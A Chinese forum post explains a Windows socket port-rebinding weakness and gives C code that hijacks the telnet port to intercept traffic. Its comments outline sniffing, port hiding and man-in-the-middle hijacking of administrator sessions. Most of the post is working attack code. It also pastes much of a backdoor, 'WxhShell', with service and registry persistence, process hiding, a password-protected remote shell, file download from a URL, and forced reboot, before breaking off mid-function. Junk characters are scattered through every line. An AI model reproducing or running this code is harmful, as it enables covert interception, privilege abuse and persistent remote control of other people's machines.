社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14565阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kbMYMx.[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q_Gi]M9  
/IM#.v  
  saddr.sin_family = AF_INET; ,j$Vvz   
L\#<JxY$p  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3l#IPRn9AO  
W]5USFan  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); P<f5*L#HD  
6C+"`(u%V  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ) lZp9O  
dx+hhg\L  
  这意味着什么?意味着可以进行如下的攻击: $]/Zxd  
jb^N|zb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 oDU ;E  
g2T -TG'd  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [!U?}1YQ  
.;*s`t  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 - h9?1vc7  
wy}k1E'M  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >`%'4<I  
J;f!!<l\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,Bal  
3fh8$A  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &w1P\4?G  
mljh|[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %,k] [V  
^)W[l!!<)  
  #include ()3O=!  
  #include iX4Iu3  
  #include j<)9dEM'  
  #include    INyk3`FT  
  DWORD WINAPI ClientThread(LPVOID lpParam);   sn?]n~z  
  int main() _`pD`7:aI^  
  { H[='~%D  
  WORD wVersionRequested; [mPjP%{=@  
  DWORD ret; @!8ZPiW<  
  WSADATA wsaData; d:i;z9b@to  
  BOOL val; MKWyP+6`  
  SOCKADDR_IN saddr; [/BE8]M ~  
  SOCKADDR_IN scaddr; Y>&Ew*Y  
  int err;  1"e)5xI  
  SOCKET s; .fdL&z  
  SOCKET sc; _X'"w|0  
  int caddsize; 2[ r^M'J  
  HANDLE mt; q| LDo~H  
  DWORD tid;   Co3:*nbRv  
  wVersionRequested = MAKEWORD( 2, 2 ); 17OH]  
  err = WSAStartup( wVersionRequested, &wsaData ); 4~N[%>zJ  
  if ( err != 0 ) { C|o`k9I#  
  printf("error!WSAStartup failed!\n"); tT79 p.z B  
  return -1; w#g#8o>'  
  } P';?YV0  
  saddr.sin_family = AF_INET; @, Wvvh  
   %3$*K\Ai  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 H8'Z#"h  
DHY@akhrK  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !eUDi(   
  saddr.sin_port = htons(23); K/}rP[H  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bpxeznz  
  { P8?Fm`  
  printf("error!socket failed!\n"); pm9%%M$  
  return -1; gB4U*D0[e~  
  } +a*^{l}AST  
  val = TRUE; p+Y>F\r&w  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <dvy"Dx   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) + Q6l*:<|c  
  { Zw~+Pb  
  printf("error!setsockopt failed!\n"); uy}%0vLo  
  return -1; `3Uj{w/Q:L  
  } $]q8, N|1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q"7Gy<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "1-}A(X  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _IdRF5<4  
HWVtop/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) o#hjvg  
  { L*x[?x;)@  
  ret=GetLastError(); \2vg{  
  printf("error!bind failed!\n"); nO)X!dp}J  
  return -1; shMSN]S_x  
  } A<B=f<N3gV  
  listen(s,2); 7k(Kq5w.  
  while(1) t&(PN%icD  
  { gy;+_'.j   
  caddsize = sizeof(scaddr); :Pv*, qHE  
  //接受连接请求 /AQMFx4-5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); oy;K_9\  
  if(sc!=INVALID_SOCKET) =2 *rA'im  
  { V$uk6#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B)QHM+[= F  
  if(mt==NULL) p3}?fej&|  
  { - > J_ ~  
  printf("Thread Creat Failed!\n"); &EpAg@9!  
  break; CQpCS_M  
  } ,do58i K  
  }  HyR!O>  
  CloseHandle(mt); 8dlw-Q'S  
  } @e'5E^  
  closesocket(s); RAp=s  
  WSACleanup(); /P 2[:[w  
  return 0; )<xypDQ  
  }   &< !Ufa&  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2r 6'O6v  
  { $*W6A/%O  
  SOCKET ss = (SOCKET)lpParam; ~M(5Ho  
  SOCKET sc; _fwb!T}$  
  unsigned char buf[4096]; h/,${,}J  
  SOCKADDR_IN saddr;  <Tot|R;  
  long num; G\a8B#hg  
  DWORD val; ,<Q~b%(3  
  DWORD ret; W'on$mB5<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -D^}S"'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Kb^>-[Yx  
  saddr.sin_family = AF_INET; >[1W:KQA  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2>l,no39t+  
  saddr.sin_port = htons(23); EutP\K_Y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \t|M-%&)4  
  { NzW`B^p  
  printf("error!socket failed!\n"); NxLXm,  
  return -1; /CIh2 ]#e  
  } X@|&c]]  
  val = 100; d O~O |Xsb  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fkSwD(  
  { ILic.@st  
  ret = GetLastError(); GAc{l=vT'  
  return -1; wlPx,UqZ  
  } @p|$/Z%R,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F]I=+T   
  { $.:mai  
  ret = GetLastError(); $ F S_E  
  return -1; )=DGdI Et  
  } Z,X'-7YkU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) M+!x}$ &v  
  { w%zRHf8C  
  printf("error!socket connect failed!\n"); O MX-_\")  
  closesocket(sc); nL?oTze*p  
  closesocket(ss); .{S8f#p9T  
  return -1; efY8M2  
  } 1+7GUSIb  
  while(1) ,2]X}&{i  
  { [qoXMuC|P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 dgo3'ZO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2:LHy[{5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 O0PJ6:9P  
  num = recv(ss,buf,4096,0); Gc$gJnQio  
  if(num>0) WX4;l(P L=  
  send(sc,buf,num,0); y4Er @8I`  
  else if(num==0) D\H/   
  break; ayBRWT0  
  num = recv(sc,buf,4096,0); AE@NOM7u  
  if(num>0) "Y=+Ls(3o(  
  send(ss,buf,num,0); >5 b/or  
  else if(num==0) 5IKL#V `3a  
  break; /Ky__l!bu  
  } Ux2U*a ;  
  closesocket(ss); b5:op@V  
  closesocket(sc); wl1m*`$  
  return 0 ; }!i` 0p  
  } NS C/@._  
"<i SZ  
[/_+>M  
========================================================== =\t /u  
9GdB#k6W`  
下边附上一个代码,,WXhSHELL Ac|5. ?|N  
gip/(/NX  
========================================================== RB?V7uX  
T%R:NQf  
#include "stdafx.h" yE} dj)wd  
5yVkb*8HS  
#include <stdio.h> V|>oGtt7  
#include <string.h> H7[6yh  
#include <windows.h> tM j1~ R  
#include <winsock2.h> Ay{t254/  
#include <winsvc.h> 7P7b8 ]  
#include <urlmon.h> g-vg6@6  
!rhk $ L  
#pragma comment (lib, "Ws2_32.lib") eb|i 3.  
#pragma comment (lib, "urlmon.lib") $c&0F,   
a8AYcE b  
#define MAX_USER   100 // 最大客户端连接数 A-ZmG7xk  
#define BUF_SOCK   200 // sock buffer B ZMu[M  
#define KEY_BUFF   255 // 输入 buffer `)4a[thp  
n,O5".aa<  
#define REBOOT     0   // 重启 6> {r6ixs1  
#define SHUTDOWN   1   // 关机 M|i o4+sy  
l =IeJh  
#define DEF_PORT   5000 // 监听端口 *V k ^f+5  
&2I*0  
#define REG_LEN     16   // 注册表键长度 tD$lNh^  
#define SVC_LEN     80   // NT服务名长度 2-0$FQ@/  
+1 eCvt:,  
// 从dll定义API +2C?9:bH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JmpsQ,,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ov82ibp_1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #2xSyOrmf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Rb}KZ+o "Z  
<a le$[  
// wxhshell配置信息 gBk5wk_j|  
struct WSCFG { sn{AwF%  
  int ws_port;         // 监听端口  Zt E##p  
  char ws_passstr[REG_LEN]; // 口令 vf~`eT  
  int ws_autoins;       // 安装标记, 1=yes 0=no u2(eaP8d  
  char ws_regname[REG_LEN]; // 注册表键名 9TxyZL   
  char ws_svcname[REG_LEN]; // 服务名 as"N=\N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /\Q*MLwD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =wq;@'U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r(2 R <A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'PWQnt_U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s4T}Bs r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =sOo:s  
&GWkq>  
}; hF&}lPVtv  
P(omfD4  
// default Wxhshell configuration `xKFqx:e  
struct WSCFG wscfg={DEF_PORT, _2vd`k  
    "xuhuanlingzhe", IJU0[EA]F  
    1, `&$B3)Eb  
    "Wxhshell", R UTnc  
    "Wxhshell", qI3NkVA'C  
            "WxhShell Service", G6`J1Uk  
    "Wrsky Windows CmdShell Service", V7t!?xOL  
    "Please Input Your Password: ", +K6szGP  
  1, #NRh\Wj|  
  "http://www.wrsky.com/wxhshell.exe", dX )W0  
  "Wxhshell.exe" /2NSZO  
    }; s.jO<{  
}{],GHCjQ  
// 消息定义模块 G\iyJSj[P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G { mC7@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v vE\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `3iQZu i  
char *msg_ws_ext="\n\rExit."; 1x >iz `A  
char *msg_ws_end="\n\rQuit."; KhM.Tc  
char *msg_ws_boot="\n\rReboot..."; :]eb<J  
char *msg_ws_poff="\n\rShutdown..."; Bo\D.a(T  
char *msg_ws_down="\n\rSave to "; ,|To#umym>  
. \5$MIF  
char *msg_ws_err="\n\rErr!"; (%< 'A  
char *msg_ws_ok="\n\rOK!"; ]re'LC!d  
%c6E-4b  
char ExeFile[MAX_PATH]; Jfg7\&|  
int nUser = 0; NO>k  
HANDLE handles[MAX_USER]; ]7qiUdxt:  
int OsIsNt; fUcLfnr  
)fh0&Y; R  
SERVICE_STATUS       serviceStatus; et$uP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qSiWnN8D t  
H}b\`N[nr  
// 函数声明 9XV^z*E(J  
int Install(void); IjZ@U%g@;  
int Uninstall(void); !Ua&0s%  
int DownloadFile(char *sURL, SOCKET wsh); t<b3K-  
int Boot(int flag); ?~2Bi^W5  
void HideProc(void); !0fI"3P@r  
int GetOsVer(void); {K7YTLWY  
int Wxhshell(SOCKET wsl); 0rzVy/Z(  
void TalkWithClient(void *cs); _ 6:ww/  
int CmdShell(SOCKET sock); %cW;}Y[?P  
int StartFromService(void); J4yt N3  
int StartWxhshell(LPSTR lpCmdLine); QB1M3b  
%<}=xJf>1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m)f|:MM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?y-s20Kd  
A 0#Y, 1  
// 数据结构和表定义 Jyu`-=It  
SERVICE_TABLE_ENTRY DispatchTable[] = mtw9AoO  
{ g"y?nF.&F  
{wscfg.ws_svcname, NTServiceMain}, BXTN>d27  
{NULL, NULL} +Z+ExS<#z  
}; Fh`-(,e?5  
[b`6v`x  
// 自我安装 ')nnWlK  
int Install(void) (K!4Kp^m  
{ SFO&=P:U  
  char svExeFile[MAX_PATH];  Tb#  
  HKEY key; w:Q|?30  
  strcpy(svExeFile,ExeFile); 2a[9h #  
AMk~dzNt  
// 如果是win9x系统,修改注册表设为自启动 pT=2e&  
if(!OsIsNt) { fI11dE9&?[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $!`L"szqD*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5G? .T?  
  RegCloseKey(key); W/v|8-gcK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `s}BXKIv}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "T*I|  
  RegCloseKey(key); F!~l MpuE  
  return 0; -2lRia  
    } *ro.mQ_  
  } 3A R%&:-  
} ){tPP$-i=  
else { ]p$zvMf}  
\GHOg.P  
// 如果是NT以上系统,安装为系统服务 ~ hD{coVTI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +k rFB?>`  
if (schSCManager!=0) l10-XU02  
{ *g$agyOfh  
  SC_HANDLE schService = CreateService X')S;KW  
  ( $,P\)</ VR  
  schSCManager, =>YvA>izE  
  wscfg.ws_svcname, /c^e& D  
  wscfg.ws_svcdisp, T~:_}J  
  SERVICE_ALL_ACCESS, GYqJ!,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r{V.jZ%p'Z  
  SERVICE_AUTO_START, h[H%:743  
  SERVICE_ERROR_NORMAL, Ej|A ; &E  
  svExeFile, m0Z7N5v)  
  NULL, 1NGyaI  
  NULL, ~'[jBn)  
  NULL, R HXvee55  
  NULL, Dqr9Vv  
  NULL 6UI>GQ  
  ); ;z0"Ox=7  
  if (schService!=0) bm6hZA|  
  { v Xf:~G]  
  CloseServiceHandle(schService); hfh.eL  
  CloseServiceHandle(schSCManager); jZ/+~{<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fKYKW?g;)Z  
  strcat(svExeFile,wscfg.ws_svcname); >p |yf. G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TF)8qHy! u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {jhcZ"#>\  
  RegCloseKey(key); 8GW ut=D  
  return 0; e/P4mc)  
    } P#F_>GB  
  } q]+)c2M  
  CloseServiceHandle(schSCManager); i;avwP<0  
} :H3(w|T/  
} Fd}<Uote3  
sZEgsrJh  
return 1; gDj_KKd  
} &@"w-M  
1:YAn  
// 自我卸载 hy=u}^F.C  
int Uninstall(void) I1~G$)w#  
{ %Il;B~t  
  HKEY key; tgfM:kzw  
{a@hRY_  
if(!OsIsNt) { $~Tf L{$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `~|DoSi^d  
  RegDeleteValue(key,wscfg.ws_regname); >&[3  
  RegCloseKey(key); !`Xt8q\r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oc=tI@W  
  RegDeleteValue(key,wscfg.ws_regname); s8yCC #H"  
  RegCloseKey(key); "& Ff[ O*  
  return 0; 6yp+h  
  } |zb`&tv}  
} oX#9RW/ >I  
} -P*xyI  
else { -D;lS 6  
%p}qO^%M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ha5 bD%  
if (schSCManager!=0) /Q]:Uf.J  
{ Ef-a4Pi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BQuRHi IV  
  if (schService!=0) f{f_g8f[  
  { !HvGlj@(|  
  if(DeleteService(schService)!=0) { =s6E/K  
  CloseServiceHandle(schService); fls#LcI9>6  
  CloseServiceHandle(schSCManager); xV?*!m$V%R  
  return 0; z6Fun  
  } phe"JNML  
  CloseServiceHandle(schService); 9ec0^T  
  } _>;&-e  
  CloseServiceHandle(schSCManager); Plb}dID"  
} [Yn;G7cK  
} exsQmbj* %  
vs+ We*8H  
return 1; 8~}s 3j4  
} d RHlx QUn  
S\}?zlV  
// 从指定url下载文件 #i@ACAgn;6  
int DownloadFile(char *sURL, SOCKET wsh) otoBb^Mz  
{ M9h<}mh\  
  HRESULT hr; }z8{B3K  
char seps[]= "/"; B,w:DX  
char *token; P4i3y{$V  
char *file; KU*`f{|  
char myURL[MAX_PATH]; ^P]?3U\nj  
char myFILE[MAX_PATH]; 7:#  
O{Dm;@J-aM  
strcpy(myURL,sURL); *O!T!J  
  token=strtok(myURL,seps); >pN;J)H  
  while(token!=NULL)  7N!tp,?  
  { _w\Y{(k  
    file=token; q"P5,:W  
  token=strtok(NULL,seps); _s2m-jm7  
  } { ( _B  
H\ {E%7^h-  
GetCurrentDirectory(MAX_PATH,myFILE); fm[_@L% x  
strcat(myFILE, "\\"); v/]Qq  
strcat(myFILE, file); l t&$8jh  
  send(wsh,myFILE,strlen(myFILE),0); 4 0p3Rv  
send(wsh,"...",3,0); r[6#G2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U.HoFf+HN  
  if(hr==S_OK) .MzOLv   
return 0; mu 2 A%"7  
else \nrgAC-b  
return 1; =DGn,i9  
44Q6vb?  
} '" ^ B&W  
UwZu:[T6H  
// 系统电源模块 :U!'U;uQ  
int Boot(int flag) ]jZiW1C*a  
{ (zjz]@qJ  
  HANDLE hToken; bELIRM9  
  TOKEN_PRIVILEGES tkp; 71JM [2  
)3BR[*u*  
  if(OsIsNt) { =X)Q7u".7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,Le&I9*%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y;'VosTD  
    tkp.PrivilegeCount = 1; F_ ,L 2J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .WBI%ci  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;Fx')  
if(flag==REBOOT) { _)OA$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  )GB3=@  
  return 0; ){+.8KI  
} zJz82jMm  
else {  i<B:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6F@zCv"w  
  return 0; YtV |e|aD  
} fG X1y  
  } \Oi5=,  
  else { 1M7\:te*  
if(flag==REBOOT) { !w @1!Xpn1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =Jsg{vI  
  return 0; yjGGqz$  
}  %zA2%cq<  
else { A/ 7r:yO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gJ<@;O8zu0  
  return 0; l*F!~J3  
} HXD*zv@ *6  
} #citwMW  
l,imT$u  
return 1; #]5&mKi  
} y%{*uH}SL  
qk_p}l-F1  
// win9x进程隐藏模块 %GVEY  
void HideProc(void) +^/Nil  
{ R88(dEK  
,ma Aw}=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "[%;B0J  
  if ( hKernel != NULL ) ZAI1p+  
  { 2neF<H?^o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^U-vD[O8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C1ZFA![  
    FreeLibrary(hKernel); 7xLo 4  
  } }9L 40)8  
w/lXZg  
return; p_rN1W Dd'  
} 7yMieUF  
%Nwyx;>9^K  
// 获取操作系统版本 )![f\!'PI  
int GetOsVer(void) n/KI"qa]9  
{ K[iY{  
  OSVERSIONINFO winfo; Y|hzF:ll  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s|{^ }4{  
  GetVersionEx(&winfo); I}*]m%'-Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?F?\uC2)'  
  return 1; aHBByH  
  else S(g<<Te  
  return 0; "i!2=A8k  
} &LCUoTzj  
o{ ,ba~$.w  
// 客户端句柄模块 *Gk<"pEeS  
int Wxhshell(SOCKET wsl) 3Ew"[FUs  
{ a -z23$3  
  SOCKET wsh; UPfFT^=y  
  struct sockaddr_in client; iFAoAw(  
  DWORD myID; 377j3dP  
\j,v/C@c-  
  while(nUser<MAX_USER) 0Zc*YdH  
{ adRNrt*!  
  int nSize=sizeof(client); r6O7&Me<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [oQ`HX1g  
  if(wsh==INVALID_SOCKET) return 1; /7UovKKbz  
"<cB73tY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~)! V8  
if(handles[nUser]==0) $Nt=gSWw5  
  closesocket(wsh); #Qtg\X  
else '_TJ"lOZ  
  nUser++; >K_$[qP3  
  } /o<}]]YBF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,wry u|7"$  
7|h3.  
  return 0; >.!5M L\  
} .d#G]8suF  
42n@:5`{+  
// 关闭 socket ~aauW?  
void CloseIt(SOCKET wsh) h 7(H%(^_  
{ ]X >QLD0W  
closesocket(wsh); +(QMy&DtS  
nUser--; f{+LCMbC6  
ExitThread(0); Vz7w{HY  
} =`7#^7Q9  
J { GFb  
// 客户端请求句柄 /ygUd8@  
void TalkWithClient(void *cs) >,] eL  
{ =0@d|LeZ  
e B(S+p?  
  SOCKET wsh=(SOCKET)cs; @w#gRQCl  
  char pwd[SVC_LEN]; ijZydn  
  char cmd[KEY_BUFF]; =u:6b} =  
char chr[1]; 94qHY1rp  
int i,j; brYYuN|Vc  
J^s<x#C  
  while (nUser < MAX_USER) { M f%^\g.}  
.(MbP  
if(wscfg.ws_passstr) { i#M a -0#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y1U"HqNl*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t9f4P^V`  
  //ZeroMemory(pwd,KEY_BUFF); 0aTEJX$iZ  
      i=0; rHC+nou  
  while(i<SVC_LEN) { Mu_mm/U_  
RAv RNd  
  // 设置超时 (N~zJ .o  
  fd_set FdRead; &G7)s%q  
  struct timeval TimeOut; w{:Oa7_A  
  FD_ZERO(&FdRead); XoH[MJC  
  FD_SET(wsh,&FdRead); *Lb(urf  
  TimeOut.tv_sec=8; 0?5%  
  TimeOut.tv_usec=0; Fl#VKU3h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ERX|cc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !5E%W[  
XW&8T"q7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q[ 9rA  
  pwd=chr[0]; ,/w852|ub  
  if(chr[0]==0xd || chr[0]==0xa) { [F AOp@7W  
  pwd=0; lE2wkY9^/  
  break; Oc"'ay(g  
  } :~0^ib<v;  
  i++; 9(N)MT5F  
    } li 3PR$W V  
v'bd.eqw  
  // 如果是非法用户,关闭 socket Sf4h!ly  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ) v[Knp'  
} {>UMw>T[  
'^-4{Y^2E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RBK>Lws6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3"^)bGe  
`!Ge"JB6   
while(1) { qy42Y/8'  
Zjp5\+hHV  
  ZeroMemory(cmd,KEY_BUFF); eJ=Y6;d$  
k^dCX+  
      // 自动支持客户端 telnet标准   ^7s6J {<  
  j=0; $5Y^fwIK  
  while(j<KEY_BUFF) { eRl?9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :AqnWy  
  cmd[j]=chr[0]; 1 <qVN'[  
  if(chr[0]==0xa || chr[0]==0xd) { .X<"pd*@e  
  cmd[j]=0; -MHX1`P:Sn  
  break; ]/V Iff  
  } S] K6qY  
  j++; X_tW#`  
    } o+)LcoP u  
(;Q <@PZg  
  // 下载文件 &6|^~(P?  
  if(strstr(cmd,"http://")) { {HRxyAI!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A^r [_dyZ  
  if(DownloadFile(cmd,wsh)) 9tc@   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &h4Z|h[01  
  else l=-d K_ I?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \")YKN=W  
  } wkZ2Y-#='  
  else { 1z};"A  
WJFTy+bD  
    switch(cmd[0]) { qq9tBCk  
  RP@idz  
  // 帮助 t 1RwB23  
  case '?': { 8#Z\}gGz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %dk$K!5D0  
    break; "za*$DU  
  } k0 e|8g X  
  // 安装 #Mem2cz  
  case 'i': { 1:{O RX[;  
    if(Install()) jXDzjt94J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uhx2 _  
    else RJ@e5A6_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |_xiG~  
    break; "w|k\1D  
    } Ppb2"Ik  
  // 卸载 /wxxcq  
  case 'r': { .IAHy)li"  
    if(Uninstall()) LWb}) #E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CQuvbAo  
    else  RoM*Qjw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wmcp`8w.  
    break; rW%'M#! =  
    } ~tj7zI6  
  // 显示 wxhshell 所在路径 P2:Q+j:PX  
  case 'p': { X"khuyT_  
    char svExeFile[MAX_PATH]; 8JFkeU%yO  
    strcpy(svExeFile,"\n\r"); ah6F^Kpl{  
      strcat(svExeFile,ExeFile); %k;FxUKi  
        send(wsh,svExeFile,strlen(svExeFile),0); yY g&'3  
    break; CL}I:/zRB  
    } n$![b_)*  
  // 重启 DwrCysIK  
  case 'b': { 'm!1 1Phe  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x]J-q5  
    if(Boot(REBOOT)) ?L#SnnE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \FY De  
    else { XOU-8;d  
    closesocket(wsh); x#gmliF  
